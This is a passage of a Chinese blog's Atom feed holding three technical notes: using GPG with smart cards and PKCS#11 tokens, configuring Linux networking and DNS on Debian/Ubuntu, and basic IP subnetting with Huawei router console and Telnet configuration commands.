        <id>https://vercel.juzhong.asia/obsidian/折腾了一下gpg和智能卡/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/折腾了一下gpg和智能卡/">&lt;h1 id=&quot;zhe-teng-liao-yi-xia-gpghe-zhi-neng-qia&quot;&gt;折腾了一下GPG和智能卡&lt;&#x2F;h1&gt;
&lt;p&gt;GPG支持使用智能卡设备存储密钥。 使用文件系统来携带密钥（ 不管是存到 家目录里还是放到U盘里携带）的弊端有很多&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;1. 文件泄漏密钥即泄漏
2. 不能保证密钥的物理唯一性
3. 文件可以被拷贝，文件可以被任意读取
4. 无法知道文件是否被拷贝，不能发觉
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而使用智能卡设备，好处很多&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;1. 密钥具有物理唯一性，一旦生成即无法读取，即无法制作拷贝
2. 密钥可以由卡上的CPU生成，更能保证物理唯一性
3. 智能卡可以随身携带，方便使用不同的电脑
4. 卡遗失即密钥遗失
5. 多次尝试破解会导致智能卡自我销毁，保证密钥的安全，所以遗失的卡也不会泄漏密钥
6. 加解密操作由智能卡硬件完成，即便授权应用程序也无法获取KEY。就别说木马了。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那么， gpg 支持哪些硬件呢？&lt;&#x2F;p&gt;
&lt;p&gt;gpg 支持 CCID 标准兼容的 USB 读卡器。市面上的智能卡读卡器基本上都基于这个接口。 但是，智能卡有很多种，什么门卡啊，电话卡啊，种类很多， gpg 需要的是一个 “OpenPGP Card” 标准兼容的智能卡。 这种智能卡目前在国内没有购买渠道。&lt;&#x2F;p&gt;
&lt;p&gt;所幸的是，gpg通过 gnupg-pkcs11-scd 兼容支持了 PKI 设备。 所谓 PKI 设备就是使用 PKCS#11 接口进行访问的物理加解密设备，比如电子狗，U盾。&lt;&#x2F;p&gt;
&lt;p&gt;那么，我需要的是一个（国内能购买到的）具备 RSA 或者 DSA 加密运算能力的 PKI 设备，同时能在 Linux 下使用。 能在 Linux 下使用，要么是使用标准的 PC&#x2F;SD 接口，要么是提供了 Linux 下的驱动（PKCS#11 接口允许厂商提供一个 .so 作为驱动访问硬件。应用程序只要使用 PKCS#11 的接口即可。）&lt;&#x2F;p&gt;
&lt;p&gt;一个 “国内能购买到的” 前提条件，让我的选择范围一下子缩小了。最好能使用标准接口，这样无需额外驱动即可使用。 但是这样的好东西国内似乎很难买到，基本上都需要驱动，而且是 Windows Only。 于是退求其次，找到了 “eToken Pro 72k” 这个设备。他支持 RSA 算法，密钥支持 2048bit 长度，同时也提供了 Linux 驱动。&lt;&#x2F;p&gt;
&lt;p&gt;于是赶紧购买。驱动在一个 Overlay 里找了， emerge 一下就好了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlight&quot; class=&quot;language-highlight &quot;&gt;&lt;code class=&quot;language-highlight&quot; data-lang=&quot;highlight&quot;&gt;UPDATE:
后来看到 debian wiki 里的智能卡页面发现其实也有国产的也能 Linux 下跑啦。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>4.1 配置网络 - DebianUbuntu Book《Linux 二零》</title>
        <published>2025-01-13T00:00:00+00:00</published>
        <updated>2025-01-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/4.1-配置网络-debianubuntu-book《linux-二零》/"/>
        <id>https://vercel.juzhong.asia/obsidian/4.1-配置网络-debianubuntu-book《linux-二零》/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/4.1-配置网络-debianubuntu-book《linux-二零》/">&lt;h1 id=&quot;4-1-pei-zhi-wang-luo-debianubuntu-book-linux-er-ling&quot;&gt;4.1 配置网络 - DebianUbuntu Book《Linux 二零》&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;xuan-ze-wang-luo-pei-zhi-gong-ju&quot;&gt;选择网络配置工具&lt;&#x2F;h2&gt;
&lt;p&gt;配置「Linux 操作系统」的网络有以下几款主流的配置工具可供选择：&lt;&#x2F;p&gt;
&lt;p&gt;桌面环境建议使用 NetworkManager；在服务器上建议使用默认的配置工具，或者切换到 systemd-networkd。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;iproute2&quot;&gt;iproute2&lt;&#x2F;h3&gt;
&lt;p&gt;iproute2 是「Linux 操作系统」上强大的网络工具，例如 &lt;code&gt;ip address&lt;&#x2F;code&gt;、&lt;code&gt;ip route&lt;&#x2F;code&gt; 命令可用于查看主机网络信息。但是这种底层网络工具配置起来有些麻烦，我们会在下一节介绍它。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhun-bei-gong-zuo&quot;&gt;准备工作&lt;&#x2F;h2&gt;
&lt;p&gt;首先敲 &lt;code&gt;ip address&lt;&#x2F;code&gt; 查看一下网卡信息。&lt;&#x2F;p&gt;
&lt;p&gt;进行网络配置之前先看看操作系统有哪些程序已经在工作了，避免造成冲突。比如查看一下相关的配置文件：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;wc -l &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;network&amp;#x2F;*.network &amp;#x2F;etc&amp;#x2F;network&amp;#x2F;interfaces &amp;#x2F;etc&amp;#x2F;netplan&amp;#x2F;*.yaml
grep -v &amp;#x27;^#&amp;#x27; &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;network&amp;#x2F;*.network &amp;#x2F;etc&amp;#x2F;network&amp;#x2F;interfaces &amp;#x2F;etc&amp;#x2F;netplan&amp;#x2F;*.yaml
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;选用一款配置工具即可，将不需要的配置文件处理掉。&lt;&#x2F;p&gt;
&lt;p&gt;Warning&lt;&#x2F;p&gt;
&lt;p&gt;通过网络连接到计算机时，进行网络配置要非常小心，操作不当将会很尴尬。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pei-zhi-wang-luo&quot;&gt;配置网络&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;systemd-networkd&quot;&gt;systemd-networkd&lt;&#x2F;h3&gt;
&lt;p&gt;在 &lt;code&gt;&#x2F;etc&#x2F;systemd&#x2F;network&lt;&#x2F;code&gt; 目录下创建 &lt;code&gt;.network&lt;&#x2F;code&gt; 文件，例如 &lt;code&gt;&#x2F;etc&#x2F;systemd&#x2F;network&#x2F;50-eth0.network&lt;&#x2F;code&gt;。下面是 eth0 网卡使用 DHCP 的配置：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[Match]
Name=eth0

[Network]
DHCP=ipv4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用「静态 IP 地址」的配置：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[Match]
Name=eth0

[Network]
Address=192.168.0.15&amp;#x2F;24
Gateway=192.168.0.1
DNS=119.29.29.29
DNS=223.5.5.5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后启动 systemd-networkd 服务使配置生效，并设置为开机启动：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl restart systemd-networkd
sudo systemctl enable systemd-networkd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;ifupdown&quot;&gt;ifupdown&lt;&#x2F;h3&gt;
&lt;p&gt;编辑 &lt;code&gt;&#x2F;etc&#x2F;network&#x2F;interfaces&lt;&#x2F;code&gt;，下面是 eth0 网卡使用 DHCP 的配置：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto eth0
allow-hotplug eth0
iface eth0 inet dhcp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用「静态 IP 地址」的配置：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto eth0
iface eth0 inet static
  address 192.168.0.15&amp;#x2F;24
  gateway 192.168.0.1
  dns-nameservers 119.29.29.29 223.5.5.5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;配置文件变更以后，输入下面的命令使配置生效：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo ifdown eth0; sudo ifup eth0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;netplan&quot;&gt;netplan&lt;&#x2F;h3&gt;
&lt;p&gt;编辑 &lt;code&gt;&#x2F;etc&#x2F;netplan&#x2F;config.yaml&lt;&#x2F;code&gt;，下面是 eth0 网卡使用 DHCP 的配置：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: true
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用「静态 IP 地址」的配置：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      addresses:
        - 192.168.0.15&amp;#x2F;24
      gateway4: 192.168.0.1
      nameservers:
          addresses: [119.29.29.29, 223.5.5.5]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;配置文件变更以后，输入下面的命令使配置生效：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo netplan apply
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pei-zhi-dns&quot;&gt;配置 DNS&lt;&#x2F;h2&gt;
&lt;p&gt;按照上面的网络配置，通过 DHCP 获取或者静态配置的方式设定了 DNS，相应的后端程序读取配置后，将「DNS服务器」写入 &lt;code&gt;&#x2F;etc&#x2F;resolv.conf&lt;&#x2F;code&gt;，此时操作系统可进行域名解析了。&lt;&#x2F;p&gt;
&lt;p&gt;DHCP 是动态的，或者用户需要在不同的网络之间切换，这些因素导致 &lt;code&gt;&#x2F;etc&#x2F;resolv.conf&lt;&#x2F;code&gt; 需要动态调整。如果看到该文件像下面这样，以软链接的形式存在，则说明 DNS 可能由某款程序管理，用户不应该直接修改该文件。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$  ls -l &amp;#x2F;etc&amp;#x2F;resolv.conf
lrwxrwxrwx 1 root root 37 Feb 29 12:20 &amp;#x2F;etc&amp;#x2F;resolv.conf -&amp;gt; &amp;#x2F;run&amp;#x2F;systemd&amp;#x2F;resolve&amp;#x2F;stub-resolv.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面 &lt;code&gt;&#x2F;run&#x2F;systemd&#x2F;resolve&#x2F;&lt;&#x2F;code&gt; 这个目录由 systemd-resolved 管理。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;systemd-resolved&quot;&gt;systemd-resolved&lt;&#x2F;h3&gt;
&lt;p&gt;systemd-resolved 是 systemd 的一个组件，不需要单独安装，直接将服务启用即可，然后将 &lt;code&gt;&#x2F;etc&#x2F;resolv.conf&lt;&#x2F;code&gt; 作为软链接指向 &lt;code&gt;&#x2F;run&#x2F;systemd&#x2F;resolve&#x2F;stub-resolv.conf&lt;&#x2F;code&gt;，操作如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl enable systemd-resolved
sudo systemctl restart systemd-resolved
sudo ln -sf &amp;#x2F;run&amp;#x2F;systemd&amp;#x2F;resolve&amp;#x2F;stub-resolv.conf &amp;#x2F;etc&amp;#x2F;resolv.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;&#x2F;run&#x2F;systemd&#x2F;resolve&#x2F;stub-resolv.conf&lt;&#x2F;code&gt; 内容如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# This file is managed by man:systemd-resolved(8). Do not edit.
# …

nameserver 127.0.0.53
options edns0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面可以看到 &lt;code&gt;nameserver&lt;&#x2F;code&gt; 是 &lt;code&gt;127.0.0.53&lt;&#x2F;code&gt;，因为 systemd-resolved 包含一个「DNS服务」，它监听 &lt;code&gt;127.0.0.53&lt;&#x2F;code&gt;。此时操作系统的域名解析请求全部发到这个服务，再由它进行后续的解析。&lt;code&gt;resolvctl status&lt;&#x2F;code&gt; (老版本使用 &lt;code&gt;systemd-resolve --status&lt;&#x2F;code&gt;) 可以查看服务状态，输出信息如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ resolvectl status || systemd-resolve --status
Global
       LLMNR setting: yes
MulticastDNS setting: yes
  DNSOverTLS setting: no
      DNSSEC setting: allow-downgrade
    DNSSEC supported: yes
  Current DNS Server: 119.29.29.29
         DNS Servers: 119.29.29.29
                      223.5.5.5
…
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面可以看到，systemd-resolved 后端使用 &lt;code&gt;119.29.29.29&lt;&#x2F;code&gt; 作为「DNS服务器」，通过 &lt;code&gt;&#x2F;etc&#x2F;systemd&#x2F;resolved.conf&lt;&#x2F;code&gt; 这个文件进行管理，配置如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[Resolve]
DNS=119.29.29.29 223.5.5.5
DNSSEC=false
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;默认情况下 &lt;code&gt;DNS=&lt;&#x2F;code&gt; 为空，这时会使用网卡的 DNS，即动态管理，也可以像上面那样配置为静态的。修改了配置后需要重启服务才能生效 &lt;code&gt;sudo systemctl restart systemd-resolved&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;suo-ding-etc-resolv-conf&quot;&gt;锁定 &#x2F;etc&#x2F;resolv.conf&lt;&#x2F;h3&gt;
&lt;p&gt;如果长期使用固定的 DNS，也可以直接配置 &lt;code&gt;&#x2F;etc&#x2F;resolv.conf&lt;&#x2F;code&gt;，然后将其锁定，以确保它不被其他程序修改掉。像下面这样操作:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo rm -f &amp;#x2F;etc&amp;#x2F;resolv.conf
echo &amp;quot;nameserver 119.29.29.29&amp;quot; | sudo tee &amp;#x2F;etc&amp;#x2F;resolv.conf
echo &amp;quot;nameserver 223.5.5.5&amp;quot; | sudo tee -a &amp;#x2F;etc&amp;#x2F;resolv.conf
sudo chattr +i &amp;#x2F;etc&amp;#x2F;resolv.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;chattr +i&lt;&#x2F;code&gt; 可锁定文件，此时文件不可修改，&lt;code&gt;lsattr &#x2F;etc&#x2F;resolv.conf&lt;&#x2F;code&gt; 可以看到文件有个 &lt;code&gt;i&lt;&#x2F;code&gt; 属性，&lt;code&gt;chattr -i &#x2F;etc&#x2F;resolv.conf&lt;&#x2F;code&gt; 可解除锁定。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>华为路由交换基础及常用配置命令梳理</title>
        <published>2025-01-13T00:00:00+00:00</published>
        <updated>2025-01-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/华为路由交换基础及常用配置命令梳理/"/>
        <id>https://vercel.juzhong.asia/obsidian/华为路由交换基础及常用配置命令梳理/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/华为路由交换基础及常用配置命令梳理/">&lt;h1 id=&quot;hua-wei-lu-you-jiao-huan-ji-chu-ji-chang-yong-pei-zhi-ming-ling-shu-li&quot;&gt;华为路由交换基础及常用配置命令梳理&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-ipdi-zhi-yu-zi-wang-hua-fen-lu-you-hui-zong&quot;&gt;1. IP地址与子网划分&#x2F;路由汇总&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-1-ipdi-zhi-fen-lei&quot;&gt;1.1 IP地址分类&lt;&#x2F;h3&gt;
&lt;p&gt;　　共分为A.B.C.D.E五类:&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;类别&lt;&#x2F;th&gt;&lt;th&gt;地址范围&lt;&#x2F;th&gt;&lt;th&gt;二进制表示范围&lt;&#x2F;th&gt;&lt;th&gt;单个子网可用&lt;br &#x2F;&gt;的主机数&lt;br &#x2F;&gt;(除0网段地址&lt;br &#x2F;&gt;和1广播之外)&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;A&lt;&#x2F;td&gt;&lt;td&gt;1-126 (1.0.0.1-126.255.255.254可用)&lt;br &#x2F;&gt;&lt;hr&#x2F;&gt;127.0.0.1属于环回地址,保留用于测试,不能被分配使用&lt;br &#x2F;&gt;10.0.0.0-10.255.255.255是私网地址&lt;&#x2F;td&gt;&lt;td&gt;00000001-01111110&lt;&#x2F;td&gt;&lt;td&gt;2**24-2=&lt;br &#x2F;&gt;16777214&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;B&lt;&#x2F;td&gt;&lt;td&gt;128-191 (128.0.0.1-191.255.255.254可用)&lt;br &#x2F;&gt;&lt;hr&#x2F;&gt;172.16.0.0-172.31.255.255是私网地址&lt;br &#x2F;&gt;169.254.X.X保留用于找不到可用DHCP服务器时分配使用&lt;&#x2F;td&gt;&lt;td&gt;10000000-10111111&lt;&#x2F;td&gt;&lt;td&gt;2**16-2=&lt;br &#x2F;&gt;65534&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;C&lt;&#x2F;td&gt;&lt;td&gt;192-223 (192.0.0.1-223.255.255.254可用)&lt;br &#x2F;&gt;&lt;hr&#x2F;&gt;192.168.0.0-192.168.255.255是私网地址&lt;&#x2F;td&gt;&lt;td&gt;11000000-11011111&lt;&#x2F;td&gt;&lt;td&gt;2**8-2=&lt;br &#x2F;&gt;254&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;D&lt;&#x2F;td&gt;&lt;td&gt;224-239 (224.0.0.1-239.255.255.254)组播&lt;&#x2F;td&gt;&lt;td&gt;11100000-11101111&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;E&lt;&#x2F;td&gt;&lt;td&gt;240-255 (240.0.0.1-255.255.255.254)保留&lt;&#x2F;td&gt;&lt;td&gt;11110000-11111111&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;1-2-shi-jin-zhi-shu-yu-er-jin-zhi-shu-zhi-jian-de-zhuan-huan-shi-li-ji-yi&quot;&gt;1.2 十进制数与二进制数之间的转换示例记忆&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-switch-commands&#x2F;decimal-binary-conversion-example.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-3-deng-chang-zi-wang-hua-fen-flsm&quot;&gt;1.3 等长子网划分FLSM&lt;&#x2F;h3&gt;
&lt;p&gt;　　方法:&lt;&#x2F;p&gt;
&lt;p&gt;　　1)确定子网掩码&lt;&#x2F;p&gt;
&lt;p&gt;　　2) 确定网段中的第一个可用ip地址及网段最后一个可用地址&lt;&#x2F;p&gt;
&lt;p&gt;　　3)如果一个子网段是原来网络的1&#x2F;2,则子网掩码往后移1位;如果一个子网段是原来网络的1&#x2F;4,则子网掩码往后移2位;如果一个子网段是原来网络的1&#x2F;8,则子网掩码往后移3位,以此类推.&lt;&#x2F;p&gt;
&lt;p&gt;　　实例演示记忆:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-switch-commands&#x2F;flsm-subnet-division.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-bian-chang-zi-wang-hua-fen-vlsmshi-li-ji-yi&quot;&gt;1.4 变长子网划分VLSM示例记忆&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-switch-commands&#x2F;vlsm-subnetting-example.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-switch-commands&#x2F;vlsm-subnet-division-example.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-5-lu-you-hui-zong-shi-li-ji-yi&quot;&gt;1.5 路由汇总示例记忆&lt;&#x2F;h3&gt;
&lt;p&gt;　　注意:如果某一个网段的子网掩码比默认的子网掩码长,就是其下属的子网;如果该子网的子网掩码比默认的子网掩码要短,则是超网supernet.&lt;&#x2F;p&gt;
&lt;p&gt;　　路由汇总的实质是将子网进行与运算,得到相同的网络部位.可以使用以下示例记忆:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-switch-commands&#x2F;route-aggregation-example.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-tcp-ipxie-yi-zhan-zhong-yao-zhi-shi-dian&quot;&gt;2. TCP&#x2F;IP协议栈重要知识点&lt;&#x2F;h2&gt;
&lt;p&gt;　　共分4层:&lt;strong&gt;应用层&lt;&#x2F;strong&gt;-----&lt;strong&gt;传输层&lt;&#x2F;strong&gt;-----&lt;strong&gt;Internet网络层&lt;&#x2F;strong&gt;-----&lt;strong&gt;网络接口层&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-switch-commands&#x2F;tcp-ip-four-layer-stack.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-1-chuan-shu-ceng-xie-yi-shou-bu-nei-rong&quot;&gt;2.1 传输层协议首部内容&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-switch-commands&#x2F;transport-header-format.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-2-wang-luo-ceng-xie-yi-shou-bu-nei-rong&quot;&gt;2.2 网络层协议首部内容&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-switch-commands&#x2F;network-layer-header-format.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-hua-wei-shu-tong-chan-pin-ji-ben-pei-zhi&quot;&gt;3. 华为数通产品基本配置&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;3-1-ming-ling-shi-tu-fen-lei&quot;&gt;3.1 命令视图分类&lt;&#x2F;h3&gt;
&lt;p&gt;　　用户视图:查看运行状态及其他信息等.&lt;&#x2F;p&gt;
&lt;p&gt;　　系统视图:配置设备的系统参数及全局相关参数.&lt;&#x2F;p&gt;
&lt;p&gt;　　接口视图:配置接口相关参数.&lt;&#x2F;p&gt;
&lt;p&gt;　　协议视图:配置路由协议相关.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-2-she-zhi-lu-you-qi-shi-jian-he-ming-cheng&quot;&gt;3.2 设置路由器时间和名称&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;&amp;lt;Huawei&amp;gt;system-view       　　　　 #进入系统视图命令
[Huawei]sysname R1          #sysname更改路由器的名字
[R1]
&amp;lt;R1&amp;gt;display version           #显示操作系统版本
&amp;lt;R1&amp;gt;?                             #查看可用命令
&amp;lt;R1&amp;gt;display clock         #显示时间
&amp;lt;R1&amp;gt;clock timezone BJ add 08:00   #更改时区
&amp;lt;R1&amp;gt;clock datetime 22:36:54 2019-10-17    #设置时间
&amp;lt;R1&amp;gt;display clock
2019-10-17 22:36:58
Thursday
Time Zone(BJ) : UTC+08:00
# 设置设备当前日期和时间为2012年1月1日0时0分0秒。格式如下
&amp;lt;Huawei&amp;gt; clock datetime 0:0:0 2012-01-01
# 设置时区
&amp;lt;Huawei&amp;gt; clock timezone BJ add 08:00:00
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-3-pei-zhi-lu-you-jie-kou-ipdi-zhi&quot;&gt;3.3 配置路由接口IP地址&lt;&#x2F;h3&gt;
&lt;p&gt;　　注意:路由器上的交换模块接口,默认都属于vlanif1,且交换模块不可配置直接配置IP地址,需把接口加入vlanif_ID.&lt;&#x2F;p&gt;
&lt;p&gt;　　AR路由器上路由和交换模块的逻辑图如下:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-switch-commands&#x2F;huawei-ar-route-switch-logic.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　配置命令示例:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[R1]interface Vlanif 1
[R1-Vlanif1]ip address 192.168.1.254 24
[R1-Vlanif1]ip address 192.168.2.254 24 sub     #配置第二个ip地址,注意要不同网段
[R1-Vlanif1]undo ip address 192.168.2.254 24 sub    #删除IP地址
[R1-Vlanif1]undo shutdown
[R1]interface Ethernet 0&amp;#x2F;0&amp;#x2F;0
[R1-Ethernet0&amp;#x2F;0&amp;#x2F;0]port link-type access     　　　　 #指定以太网接口是接计算机的
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-4-hua-wei-shu-tong-chan-pin-ming-ling-fen-ji-ji-yong-hu-deng-ji-shuo-ming&quot;&gt;3.4 华为数通产品命令分级及用户等级说明&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-switch-commands&#x2F;huawei-command-user-levels.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-5-pei-zhi-yong-hu-tong-guo-consolekou-he-telnetjie-ru&quot;&gt;3.5 配置用户通过console口和telnet接入&lt;&#x2F;h3&gt;
&lt;p&gt;　　配置console口:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[R1]user-interface console 0
[R1-ui-console0]authentication-mode password
Please configure the login password (maximum length 16):123456      #输入密码即是登陆密码
[R1-ui-console0]idle-timeout 5      #设置超时时间为5分钟
[R1-ui-console0]display this        #显示单个接口的具体配置信息
[V200R003C00]
user-interface con 0
 authentication-mode password
 set authentication password cipher %$%$8hQgDg@_5&amp;lt;&amp;#x2F;g\!.Y28kT,$!_:={c8ZQ_P**B;s0o
m@tR$!b,%$%$
user-interface vty 0 4
user-interface vty 16 20
return
#########重设console口的密码
Password:
&amp;lt;R1&amp;gt;system-view
Enter system view, return user view with Ctrl+Z.
[R1]user-interface console 0
[R1-ui-console0]set authentication password cipher 123      #重设为123
[R1-ui-console0]undo authentication-mode            #不设置密码,清空密码认证
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;　　配置telnet(非加密端口,传输层协议tcp+23):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;&amp;lt;R1&amp;gt;system-view
Enter system view, return user view with Ctrl+Z.
[R1]telnet server enable                     　#使能Telnet服务器功能
[R1]telnet server port 23                 　　　#配置Telnet服务器端口号
[R1]user-interface vty 0 4
[R1-ui-vty0-4]user privilege level 4
[R1-ui-vty0-4]undo user privilege level        #还原缺省值级别命令
[R1]user-interface ?
  INTEGER&amp;lt;0,129-149&amp;gt;   The first user terminal interface to be configured
  console              Primary user terminal interface      #超级终端
  current              The current user terminal interface
  maximum-vty          The maximum number of VTY users, the default value is 5
  tty                  The asynchronous serial user terminal interface
  vty                  The virtual user terminal interface  #虚拟接口
[R1]user-interface vty 0 4      #0 4意思是最大允许同时0,1,2,3,4共5个人telnet链接
[R1-ui-vty0-4]authentication-mode password          #注意这是单单console口的密码
Please configure the login password (maximum length 16):123456
[R1-ui-vty0-4]idle-timeout 2            #设置超时时间
[R1-ui-vty0-4]user privilege level 15       #设置telnet登录进来的等级
[R1-ui-vty0-4]undo user privilege level 15  #取消等级
[R1-ui-vty0-4]set authentication password cipher 123        #重设密码为123
